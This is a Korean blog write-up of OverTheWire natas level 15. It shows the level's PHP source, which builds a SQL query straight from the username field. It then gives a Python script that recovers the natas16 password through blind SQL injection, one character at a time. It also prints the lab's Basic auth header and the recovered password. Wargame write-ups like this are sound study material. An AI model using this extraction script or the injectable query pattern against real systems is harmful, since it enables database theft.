: level 14 → level 15
http://natas15.natas.labs.overthewire.org
natas15에서도 Username을 입력받고 있다. 이번에도 소스코드를 살펴보자.
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas15", "pass": "<censored>" };</script></head>
<body>
<h1>natas15</h1>
<div id="content">
<?
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas15', '<censored>');
mysql_select_db('natas15', $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
echo "This user exists.<br>";
} else {
echo "This user doesn't exist.<br>";
}
} else {
echo "Error in query.<br>";
}
mysql_close($link);
} else {
?>
<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
소스코드를 보면 natas14처럼 직접 password를 알려주는게 아니라, 해당 사용자의 존재 여부만 알려주고 있다.
즉 결과의 참과 거짓을 통해 password를 알아내야 한다.
SQL Blind injection을 사용해서 해결하는 문제인 것 같다.
일단 먼저 우리가 알아내야 하는 password는 natas16이므로 natas16을 입력해봤다.
natas16이라는 username이 존재하는 것을 확인했다. 이젠 natas16의 password를 알아내야 한다.
소스코드 위쪽에 주석이 하나 있는데 DB의 구조를 보여주고 있다. user라는 테이블에 password column이 있는 것을 확인했다.
이 column을 이용해서 natas16의 password를 알아낼 수 있다. password의 길이는 총 32이므로 아래와 같이 코드를 짠다.
import socket
key=''
for i in range(1, 33):
for k in range(48, 123):
if 58 <= k <=64: continue
if 91 <= k <=96: continue
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("176.9.9.172", 80))
header = "GET /index.php?"
header += "username=natas16%22%20and%20ascii(substr(password," + str(i) +",1))=" + str(k) + "%23"
header += " HTTP/1.1\r\n"
header += "Host:natas15.natas.labs.overthewire.org\r\n"
header += "Authorization: Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==\r\n"
header += "\r\n"
sock.send(header.encode())
response = sock.recv(65535)
response = response.decode()
if "This user exists." in response:
key += chr(k)
print(key)
break
위의 코드를 실행하면 다음과 같이 natas16의 password를 알아낼 수 있다.
natas16 password: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
'Study > Web Hacking' 카테고리의 다른 글
[XSS Challenge] Stage #13 (0) | 2021.05.30 |
---|---|
[LOS] orge (0) | 2021.05.30 |
[natas] Level 13 -> Level 14 (0) | 2021.05.30 |
[XSS Challenge] Stage #12 (0) | 2021.05.23 |
[LOS] darkelf (0) | 2021.05.23 |